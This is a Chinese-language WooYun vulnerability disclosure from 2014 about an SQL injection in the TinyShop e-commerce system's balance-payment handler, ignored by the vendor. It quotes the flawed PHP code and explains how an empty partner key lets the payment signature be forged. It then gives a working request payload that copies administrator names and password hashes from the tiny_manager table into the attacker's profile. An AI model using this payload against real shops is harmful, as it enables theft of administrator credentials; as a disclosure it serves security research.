当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082527

漏洞标题:TinyShop SQL注入一枚

相关厂商:tinyrise.com

漏洞作者: zxx

提交时间:2014-11-10 17:48

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

20140926

详细说明:

因为是支付,会查询订单状态,要先创建一个订单。
/protected/controllers/payment.php中 pay_balance函数 total_fee变量

//余额支付方式,服务器端处理
public function pay_balance(){

$sign = Req::post('sign');//从post中获取sign
$args = Req::post();
unset($args['sign']);
$total_fee = Req::post('total_fee');//直接从post获取
$attach = Filter::int(Req::post('attach'));
$return['attach'] = Req::post('attach');
$return['total_fee'] = floatval(Req::post('total_fee'));
$return['order_no'] = Req::post('order_no');
$return['return_url'] = Req::post('return_url');
。。。
if(floatval($return['total_fee']) < 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确!');
$this->redirect('/index/msg',false,$msg);
}
else{//订单正常的话,就开始支付了
$payment = new Payment($attach);//attach为孔的时候,$payment也会为空
$paymentInfo = $payment->getPayment();//paymentInfo为空
$pay_balance = new pay_balance();
$filter_param = $pay_balance->filterParam($args);
//对待签名参数数组排序
$para_sort = $pay_balance->argSort($filter_param);

$mysign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);//最后$paymentInfo['partner_key']也为空,所以无所谓数据库里key是什么了,直接不用他
if($mysign == $sign) //sign是post过来的,绕过
{
$user_id = $this->user['id'];
$model = new Model("customer");
$customer = $model->where("user_id=".$user_id)->find();
if($customer['balance']>=$total_fee){
$order = $model->table("order")->where("order_no='".Filter::sql($return['order_no'])."' and user_id=".$user_id)->find();
if($order){
if($order['pay_status']==0){
$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update(); //total_fee进入查询
$return['order_status'] = 'TINY_SECCESS';
。。。。


public function buildSign($sort_para,$key,$sign_type = "MD5") 
{ //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = $this->createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key; //key为空
$mysgin = md5($prestr);
return $mysgin;
}


key也无效了,不具体跟了,我们做一个代理,帮我们生成sign就好。

漏洞证明:

url=http%3A%2f%2f127.0.0.1%2findex.php%3Fcon%3Dpayment%26act%3Dpay_balance
order_no=20141108134136569665&return_url=111&total_fee=12.00 , `real_name`=(SELECT concat(name,0x5f,password) from tiny_manager)

QQ截图20141108134331.png


404是因为return_url=111

QQ截图20141108134358.png

更新到了个人资料里

修复方案:

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无